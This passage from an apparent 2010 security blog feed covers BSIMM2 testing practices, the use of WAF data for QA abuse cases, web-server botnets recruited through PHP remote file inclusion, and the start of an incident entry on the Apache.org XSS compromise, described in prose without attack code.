href="http://bsimm2.com/online/ssdl/st/?s=st1.2#st1.2" style="color: rgb(16, 30, 171); display: block; width: 268px; text-decoration: none; "&gt;facilitate security mindset&lt;/a&gt;&lt;/td&gt;&lt;td style="border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; border-top-color: rgb(170, 170, 170); border-right-color: rgb(170, 170, 170); border-bottom-color: rgb(170, 170, 170); border-left-color: rgb(170, 170, 170); margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 3px; padding-right: 3px; padding-bottom: 3px; padding-left: 3px; "&gt;&lt;a href="http://bsimm2.com/online/ssdl/st/?s=st1.2#st1.2" style="color: rgb(16, 30, 171); display: block; width: 388px; text-decoration: none; "&gt;share security results with QA&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "&gt;&lt;td style="border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; border-top-color: rgb(170, 170, 170); border-right-color: rgb(170, 170, 170); border-bottom-color: rgb(170, 170, 170); border-left-color: rgb(170, 170, 170); margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 3px; padding-right: 3px; padding-bottom: 3px; padding-left: 3px; "&gt;&lt;a href="http://bsimm2.com/online/ssdl/st/?s=st2.1#st2.1" style="color: rgb(16, 30, 171); display: block; width: 35px; text-decoration: none; "&gt;ST2.1&lt;/a&gt;&lt;/td&gt;&lt;td style="border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; border-top-color: rgb(170, 170, 170); border-right-color: rgb(170, 170, 170); border-bottom-color: rgb(170, 170, 170); border-left-color: rgb(170, 170, 170); margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 3px; padding-right: 3px; padding-bottom: 3px; padding-left: 3px; "&gt;&lt;a href="http://bsimm2.com/online/ssdl/st/?s=st2.1#st2.1" style="color: rgb(16, 30, 171); display: block; width: 268px; text-decoration: none; "&gt;use encapsulated attacker perspective&lt;/a&gt;&lt;/td&gt;&lt;td style="border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; border-top-color: rgb(170, 170, 170); border-right-color: rgb(170, 170, 170); border-bottom-color: rgb(170, 170, 170); border-left-color: rgb(170, 170, 170); margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 3px; padding-right: 3px; padding-bottom: 3px; padding-left: 3px; "&gt;&lt;a href="http://bsimm2.com/online/ssdl/st/?s=st2.1#st2.1" style="color: rgb(16, 30, 171); display: block; width: 388px; text-decoration: none; "&gt;integrate black box security tools into the QA process (including protocol fuzzing)&lt;/a&gt;&lt;/td&gt;&lt;td rowspan="3" valign="top" style="border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; border-top-color: rgb(170, 170, 170); border-right-color: rgb(170, 170, 170); border-bottom-color: rgb(170, 170, 170); border-left-color: rgb(170, 170, 170); margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 3px; padding-right: 3px; padding-bottom: 3px; padding-left: 3px; "&gt;&lt;a href="http://bsimm2.com/online/ssdl/st/?l=2#2" style="color: rgb(16, 30, 171); display: block; width: 31px; text-decoration: none; "&gt;2&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "&gt;&lt;td style="border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; border-top-color: rgb(170, 170, 170); border-right-color: rgb(170, 170, 170); border-bottom-color: rgb(170, 170, 170); border-left-color: rgb(170, 170, 170); margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 3px; padding-right: 3px; padding-bottom: 3px; padding-left: 3px; "&gt;&lt;a href="http://bsimm2.com/online/ssdl/st/?s=st2.2#st2.2" style="color: rgb(16, 30, 171); display: block; width: 35px; text-decoration: none; "&gt;ST2.2&lt;/a&gt;&lt;/td&gt;&lt;td style="border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; border-top-color: rgb(170, 170, 170); border-right-color: rgb(170, 170, 170); border-bottom-color: rgb(170, 170, 170); border-left-color: rgb(170, 170, 170); margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 3px; padding-right: 3px; padding-bottom: 3px; padding-left: 3px; "&gt;&lt;a href="http://bsimm2.com/online/ssdl/st/?s=st2.2#st2.2" style="color: rgb(16, 30, 171); display: block; width: 268px; text-decoration: none; "&gt;start security testing in familiar functional territory&lt;/a&gt;&lt;/td&gt;&lt;td style="border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; border-top-color: rgb(170, 170, 170); border-right-color: rgb(170, 170, 170); border-bottom-color: rgb(170, 170, 170); border-left-color: rgb(170, 170, 170); margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 3px; padding-right: 3px; padding-bottom: 3px; padding-left: 3px; "&gt;&lt;a href="http://bsimm2.com/online/ssdl/st/?s=st2.2#st2.2" style="color: rgb(16, 30, 171); display: block; width: 388px; text-decoration: none; "&gt;allow declarative security/security features to drive tests&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "&gt;&lt;td style="border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; border-top-color: rgb(170, 170, 170); border-right-color: rgb(170, 170, 170); border-bottom-color: rgb(170, 170, 170); border-left-color: rgb(170, 170, 170); margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 3px; padding-right: 3px; padding-bottom: 3px; padding-left: 3px; "&gt;&lt;a href="http://bsimm2.com/online/ssdl/st/?s=st2.3#st2.3" style="color: rgb(16, 30, 171); display: block; width: 35px; text-decoration: none; "&gt;ST2.3&lt;/a&gt;&lt;/td&gt;&lt;td style="border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; border-top-color: rgb(170, 170, 170); border-right-color: rgb(170, 170, 170); border-bottom-color: rgb(170, 170, 170); border-left-color: rgb(170, 170, 170); margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 3px; padding-right: 3px; padding-bottom: 3px; padding-left: 3px; "&gt;&lt;a href="http://bsimm2.com/online/ssdl/st/?s=st2.3#st2.3" style="color: rgb(16, 30, 171); display: block; width: 268px; text-decoration: none; "&gt;move beyond functional testing to attacker's perspective&lt;/a&gt;&lt;/td&gt;&lt;td style="border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; border-top-color: rgb(170, 170, 170); border-right-color: rgb(170, 170, 170); border-bottom-color: rgb(170, 170, 170); border-left-color: rgb(170, 170, 170); margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 3px; padding-right: 3px; padding-bottom: 3px; padding-left: 3px; "&gt;&lt;a href="http://bsimm2.com/online/ssdl/st/?s=st2.3#st2.3" style="color: rgb(16, 30, 171); display: block; width: 388px; text-decoration: none; "&gt;begin to build/apply adversarial security tests (abuse cases)&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "&gt;&lt;td style="border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; border-top-color: rgb(170, 170, 170); border-right-color: rgb(170, 170, 170); border-bottom-color: rgb(170, 170, 170); border-left-color: rgb(170, 170, 170); margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 3px; padding-right: 3px; padding-bottom: 3px; padding-left: 3px; "&gt;&lt;a href="http://bsimm2.com/online/ssdl/st/?s=st3.1#st3.1" style="color: rgb(16, 30, 171); display: block; width: 35px; text-decoration: none; "&gt;ST3.1&lt;/a&gt;&lt;/td&gt;&lt;td style="border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; border-top-color: rgb(170, 170, 170); border-right-color: rgb(170, 170, 170); border-bottom-color: rgb(170, 170, 170); border-left-color: rgb(170, 170, 170); margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 3px; padding-right: 3px; padding-bottom: 3px; padding-left: 3px; "&gt;&lt;a href="http://bsimm2.com/online/ssdl/st/?s=st3.1#st3.1" style="color: rgb(16, 30, 171); display: block; width: 268px; text-decoration: none; "&gt;include security testing in regression&lt;/a&gt;&lt;/td&gt;&lt;td style="border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; border-top-color: rgb(170, 170, 170); border-right-color: rgb(170, 170, 170); border-bottom-color: rgb(170, 170, 170); border-left-color: rgb(170, 170, 170); margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 3px; padding-right: 3px; padding-bottom: 3px; padding-left: 3px; "&gt;&lt;a href="http://bsimm2.com/online/ssdl/st/?s=st3.1#st3.1" style="color: rgb(16, 30, 171); display: block; width: 388px; text-decoration: none; "&gt;include security tests in QA automation&lt;/a&gt;&lt;/td&gt;&lt;td rowspan="4" valign="top" style="border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; border-top-color: rgb(170, 170, 170); border-right-color: rgb(170, 170, 170); border-bottom-color: rgb(170, 170, 170); border-left-color: rgb(170, 170, 170); margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 3px; padding-right: 3px; padding-bottom: 3px; padding-left: 3px; "&gt;&lt;a href="http://bsimm2.com/online/ssdl/st/?l=3#3" style="color: rgb(16, 30, 171); display: block; width: 31px; text-decoration: none; "&gt;3&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "&gt;&lt;td style="border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; border-top-color: rgb(170, 170, 170); border-right-color: rgb(170, 170, 170); border-bottom-color: rgb(170, 170, 170); border-left-color: rgb(170, 170, 170); margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 3px; padding-right: 3px; padding-bottom: 3px; padding-left: 3px; "&gt;&lt;a href="http://bsimm2.com/online/ssdl/st/?s=st3.2#st3.2" style="color: rgb(16, 30, 171); display: block; width: 35px; text-decoration: none; "&gt;ST3.2&lt;/a&gt;&lt;/td&gt;&lt;td style="border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; border-top-color: rgb(170, 170, 170); border-right-color: rgb(170, 170, 170); border-bottom-color: rgb(170, 170, 170); border-left-color: rgb(170, 170, 170); margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 3px; padding-right: 3px; padding-bottom: 3px; padding-left: 3px; "&gt;&lt;a href="http://bsimm2.com/online/ssdl/st/?s=st3.2#st3.2" style="color: rgb(16, 30, 171); display: block; width: 268px; text-decoration: none; "&gt;teach tools about your code&lt;/a&gt;&lt;/td&gt;&lt;td style="border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; border-top-color: rgb(170, 170, 170); border-right-color: rgb(170, 170, 170); border-bottom-color: rgb(170, 170, 170); border-left-color: rgb(170, 170, 170); margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 3px; padding-right: 3px; padding-bottom: 3px; padding-left: 3px; "&gt;&lt;a href="http://bsimm2.com/online/ssdl/st/?s=st3.2#st3.2" style="color: rgb(16, 30, 171); display: block; width: 388px; text-decoration: none; "&gt;perform fuzz testing customized to application APIs&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "&gt;&lt;td style="border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; border-top-color: rgb(170, 170, 170); border-right-color: rgb(170, 170, 170); border-bottom-color: rgb(170, 170, 170); border-left-color: rgb(170, 170, 170); margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 3px; padding-right: 3px; padding-bottom: 3px; padding-left: 3px; "&gt;&lt;a href="http://bsimm2.com/online/ssdl/st/?s=st3.3#st3.3" style="color: rgb(16, 30, 171); display: block; width: 35px; text-decoration: none; "&gt;ST3.3&lt;/a&gt;&lt;/td&gt;&lt;td style="border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; border-top-color: rgb(170, 170, 170); border-right-color: rgb(170, 170, 170); border-bottom-color: rgb(170, 170, 170); border-left-color: rgb(170, 170, 170); margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 3px; padding-right: 3px; padding-bottom: 3px; padding-left: 3px; "&gt;&lt;a href="http://bsimm2.com/online/ssdl/st/?s=st3.3#st3.3" style="color: rgb(16, 30, 171); display: block; width: 268px; text-decoration: none; "&gt;probe risk claims directly&lt;/a&gt;&lt;/td&gt;&lt;td style="border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; border-top-color: rgb(170, 170, 170); border-right-color: rgb(170, 170, 170); border-bottom-color: rgb(170, 170, 170); border-left-color: rgb(170, 170, 170); margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 3px; padding-right: 3px; padding-bottom: 3px; padding-left: 3px; "&gt;&lt;a href="http://bsimm2.com/online/ssdl/st/?s=st3.3#st3.3" style="color: rgb(16, 30, 171); display: block; width: 388px; text-decoration: none; "&gt;drive tests with risk analysis results&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "&gt;&lt;td style="border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; border-top-color: rgb(170, 170, 170); border-right-color: rgb(170, 170, 170); border-bottom-color: rgb(170, 170, 170); border-left-color: rgb(170, 170, 170); margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 3px; padding-right: 3px; padding-bottom: 3px; padding-left: 3px; "&gt;&lt;a href="http://bsimm2.com/online/ssdl/st/?s=st3.4#st3.4" style="color: rgb(16, 30, 171); display: block; width: 35px; text-decoration: none; "&gt;ST3.4&lt;/a&gt;&lt;/td&gt;&lt;td style="border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; border-top-color: rgb(170, 170, 170); border-right-color: rgb(170, 170, 170); border-bottom-color: rgb(170, 170, 170); border-left-color: rgb(170, 170, 170); margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 3px; padding-right: 3px; padding-bottom: 3px; padding-left: 3px; "&gt;&lt;a href="http://bsimm2.com/online/ssdl/st/?s=st3.4#st3.4" style="color: rgb(16, 30, 171); display: block; width: 268px; text-decoration: none; "&gt;drive testing depth&lt;/a&gt;&lt;/td&gt;&lt;td style="border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; border-top-color: rgb(170, 170, 170); border-right-color: rgb(170, 170, 170); border-bottom-color: rgb(170, 170, 170); border-left-color: rgb(170, 170, 170); margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 3px; padding-right: 3px; padding-bottom: 3px; padding-left: 3px; "&gt;&lt;a href="http://bsimm2.com/online/ssdl/st/?s=st3.4#st3.4" style="color: rgb(16, 30, 171); display: block; width: 388px; text-decoration: none; "&gt;leverage coverage analysis&lt;/a&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;ul&gt;&lt;li&gt;&lt;b&gt;ST1.1 - Execute adversarial tests beyond functional&lt;/b&gt; &lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div&gt;The other group that really benefits from the detailed logging produced by WAFs are Quality Assurance (QA) teams.  QA teams are typically in a great position in the SDLC phase to potentially catch a large number of defects, however they are typically not security folks and their test cases are focused almost exclusively on functional defects.  We have seen a tremendous benefit at organizations where WAF data that is captured in production is then fed to the QA teams where they extract out the malicious request data from the event report and they create new Abuse Cases for future testing of applications.&lt;/div&gt;&lt;div&gt;&lt;ul&gt;&lt;li&gt;&lt;b&gt;ST3.4 - Drive testing depth&lt;/b&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div&gt;&lt;a href="http://jeremiahgrossman.blogspot.com/2006/07/5-challenges-of-web-application.html"&gt;Application testing coverage is difficult&lt;/a&gt;.  How can you ensure that your DAST tool has been able to enumerate and test out a high percentage of your site's content?  Another benefit of learning WAFs is that they are able to create a SITE profile tree of all dynamic (non-static resources such as images, etc...) resources and their parameters.  It is therefore possible to export out the WAF's SITE tree so that it may be integrated into the DAST data to be reconciled.  I have seen examples of this where the WAF was able to identify various nooks-n-crannies deep within web applications where the automated tools just weren't able to reach on their own.  Now that the DAST tool is aware of the resource location and injection points, it is much easier to test the resource properly.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5361523904237597206-2937175845160502903?l=tacticalwebappsec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://tacticalwebappsec.blogspot.com/feeds/2937175845160502903/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5361523904237597206&amp;postID=2937175845160502903' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5361523904237597206/posts/default/2937175845160502903'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5361523904237597206/posts/default/2937175845160502903'/><link rel='alternate' type='text/html' href='http://tacticalwebappsec.blogspot.com/2010/05/bsimm2-and-wafs.html' title='BSIMM2 and WAFs'/><author><name>Ryan Barnett</name><uri>http://www.blogger.com/profile/12300602630139148313</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_E0YEPhKPc2k/S-M22Zh0z6I/AAAAAAAAAHc/t4AvuxHLe08/S220/ryan_barnett.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_E0YEPhKPc2k/S_6WPW83hrI/AAAAAAAAAIM/_Z4ZOzE-leU/s72-c/223fig01_alt.jpg' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5361523904237597206.post-5470223630336306389</id><published>2010-05-14T10:28:00.016-04:00</published><updated>2010-05-14T11:36:40.425-04:00</updated><title type='text'>Botnet Herders Targeting Web Servers</title><content type='html'>&lt;b&gt;&lt;i&gt;Submitted by Ryan Barnett 5/14/2010&lt;/i&gt;&lt;/b&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Numerous media outlets have &lt;a href="http://www.computerworld.com.au/mediareleases/10623/imperva-discovers-more-dangerous-ddos-attack/"&gt;reported on a "new" DDoS botnet&lt;/a&gt; that is targeting web servers as zombie participants vs. standard user computers.  The motivation for targeting web servers includes:&lt;/div&gt;&lt;div&gt;&lt;ol&gt;&lt;li&gt;Web servers are always online where as home computer systems are often shutdown when not in use.  This means that the number of botnet systems in control at any one time is variable.  This factors into the botnet owner's service offerings as they are often selling their botnet services and having a reliable, strong botnet is key.&lt;/li&gt;&lt;li&gt;Web servers have more network bandwidth than home computer users.  This essentially is a Quality of Service metric where commercial web servers are guaranteed specific amounts of network bandwidth usage whereas home computer users typically have much less bandwidth.  Additionally, home user network traffic is oftentimes throttled which would make their DDoS attack traffic less.&lt;/li&gt;&lt;li&gt;Web servers have more horse power then home computers.  The number of CPUs, RAM, etc... means that commercial servers can generate much more network DDoS traffic then home computer systems.&lt;/li&gt;&lt;li&gt;Web servers are less likely to be blacklisted by ISP vs. home computer systems.  This means that web server botnet zombies will be online, sending traffic much longer than home computers. &lt;/li&gt;&lt;/ol&gt;&lt;/div&gt;&lt;div&gt;Essentially, web server botnet participants are like "Super Soldiers" compared to normal grunts in the botnet army.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;While the information presented by the media is interesting data, it is by no means a new tactic.&lt;/b&gt;&lt;/div&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_E0YEPhKPc2k/S-1nISN85wI/AAAAAAAAAH8/m57EMAdgXfk/s1600/botnet_herding1.JPG"&gt;&lt;img style="float:right; margin:0 0 10px 10px;cursor:pointer; cursor:hand;width: 320px; height: 239px;" src="http://1.bp.blogspot.com/_E0YEPhKPc2k/S-1nISN85wI/AAAAAAAAAH8/m57EMAdgXfk/s320/botnet_herding1.JPG" border="0" alt="" id="BLOGGER_PHOTO_ID_5471142514351990530" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div&gt;How do I know this?  Because we (Breach Security) reported on this exact same concept 2 years ago in our &lt;a href="http://projects.webappsec.org/Web-Hacking-Incident-Database"&gt;WASC Web Hacking Incident Database&lt;/a&gt; Annual Report &lt;a href="http://www.ideainformationsecurity.com/2008-summit/The%20Web%20Hacking%20Incidents%20Database%20-%20Current.ppt"&gt;Presentation Slides&lt;/a&gt;. &lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_E0YEPhKPc2k/S-1pD7Fc0II/AAAAAAAAAIE/SyLjFEgVwN4/s1600/botnet_herding2.JPG"&gt;&lt;img style="float:right; margin:0 0 10px 10px;cursor:pointer; cursor:hand;width: 320px; height: 241px;" src="http://3.bp.blogspot.com/_E0YEPhKPc2k/S-1pD7Fc0II/AAAAAAAAAIE/SyLjFEgVwN4/s320/botnet_herding2.JPG" border="0" alt="" id="BLOGGER_PHOTO_ID_5471144638446096514" /&gt;&lt;/a&gt;&lt;br /&gt;What we showed was that botnet operators have been using PHP Remote File Inclusion (RFI) attacks to try and exploit web servers in order to download DDoS client code.  This will force these systems into participating in DDoS attacks.  RFI attacks are still a big problem and a surprising number of sites are still vulnerable even though newer versions of PHP have a more secure default configuration that prevents this exploit from working.  As it happens with other types of software, organizations are just not able to upgrade their software in a timely manner to the newest versions that fix the flaws.  &lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;It is a shame that the &lt;a href="http://www.owasp.org/index.php/Top_10_2010-Release_Notes"&gt;new OWASP Top 10 Most Critical Web Application Security Risks&lt;/a&gt; release has removed the old A3: Malicious File Execution category as RFIs were included in it.  The stated rationale for removing this is -&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"   style="  line-height: 19px; font-family:sans-serif;font-size:13px;"&gt;&lt;blockquote&gt;&lt;i&gt;REMOVED: A3 – Malicious File Execution. This is still a significant problem in many different environments. However, its prevalence in 2007 was inflated by large numbers of PHP applications having this problem. PHP now ships with a more secure configuration by default, lowering the prevalence of this problem.&lt;/i&gt;&lt;/blockquote&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;While I don't disagree with some of this rationale, the fact is that there are still many, many sites that are vulnerable to RFI attacks and recruiting the compromised web site into a Botnet Army is just one of the possible bad outcomes...&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5361523904237597206-5470223630336306389?l=tacticalwebappsec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://tacticalwebappsec.blogspot.com/feeds/5470223630336306389/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5361523904237597206&amp;postID=5470223630336306389' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5361523904237597206/posts/default/5470223630336306389'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5361523904237597206/posts/default/5470223630336306389'/><link rel='alternate' type='text/html' href='http://tacticalwebappsec.blogspot.com/2010/05/botnet-herders-targeting-web-servers.html' title='Botnet Herders Targeting Web Servers'/><author><name>Ryan Barnett</name><uri>http://www.blogger.com/profile/12300602630139148313</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_E0YEPhKPc2k/S-M22Zh0z6I/AAAAAAAAAHc/t4AvuxHLe08/S220/ryan_barnett.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_E0YEPhKPc2k/S-1nISN85wI/AAAAAAAAAH8/m57EMAdgXfk/s72-c/botnet_herding1.JPG' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5361523904237597206.post-7616233296866572317</id><published>2010-04-14T17:03:00.006-04:00</published><updated>2010-04-15T11:48:25.584-04:00</updated><title type='text'>Apache.org Compromised Through XSS</title><content type='html'>&lt;i&gt;Submitted By Ryan Barnett 04/14/2010&lt;/i&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;One of the latest entries into the &lt;a href="http://projects.webappsec.org/Web-Hacking-Incident-Database"&gt;WASC&lt;/a&gt;&lt;a href="http://projects.webappsec.org/Web-Hacking-Incident-Database"&gt; Web Hacking Incident Database (&lt;/a&gt;&lt;a href="http://projects.webappsec.org/Web-Hacking-Incident-Database"&gt;WHID&lt;/a&gt;&lt;a href="http://projects.webappsec.org/Web-Hacking-Incident-Database"&gt;),&lt;/a&gt; deserves highlighting.&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;blockquote&gt;&lt;div&gt;&lt;b&gt;Entry Title:&lt;/b&gt; WHID 2010-67: Apache.org hit by targeted XSS attack, passwords compromised&lt;/div&gt;&lt;div&gt;&lt;b&gt;WHID ID:&lt;/b&gt; 2010-67&lt;/div&gt;&lt;div&gt;&lt;b&gt;Date Occured:&lt;/b&gt; April 9, 2010&lt;/div&gt;&lt;div&gt;&lt;b&gt;Attack Method:&lt;/b&gt; Cross Site Scripting (XSS), Brute Force&lt;/div&gt;&lt;div&gt;&lt;b&gt;Application Weakness:&lt;/b&gt; Improper Output Handling&lt;/div&gt;&lt;div&gt;&lt;b&gt;Outcome:&lt;/b&gt; Session Hijacking&lt;/div&gt;&lt;div&gt;&lt;b&gt;Incident Description:&lt;/b&gt; On April 5th, the attackers via a compromised Slicehost server opened a new issue, INFRA-2591. This issue contained the following text:&lt;/div&gt;&lt;div&gt;ive got this error while browsing some projects in jira http://tinyurl.com/XXXXXXXXX [obscured]&lt;/div&gt;&lt;div&gt;Tinyurl is a URL redirection and shortening tool. This specific URL redirected back to the Apache instance of JIRA, at a special URL containing a cross site scripting (XSS) attack. The attack was crafted to steal the session cookie from the user logged-in to JIRA. When this issue was opened against the Infrastructure team, several of our administators clicked on the link. This compromised their sessions, including their JIRA administrator rights.&lt;/div&gt;&lt;div&gt;&lt;b&gt;Attack Source Geography: &lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;Attacked Entity Field: &lt;/b&gt;Technology&lt;/div&gt;&lt;div&gt;&lt;b&gt;Attacked Entity Geography: &lt;/b&gt;USA&lt;/div&gt;&lt;div&gt;Reference: &lt;a 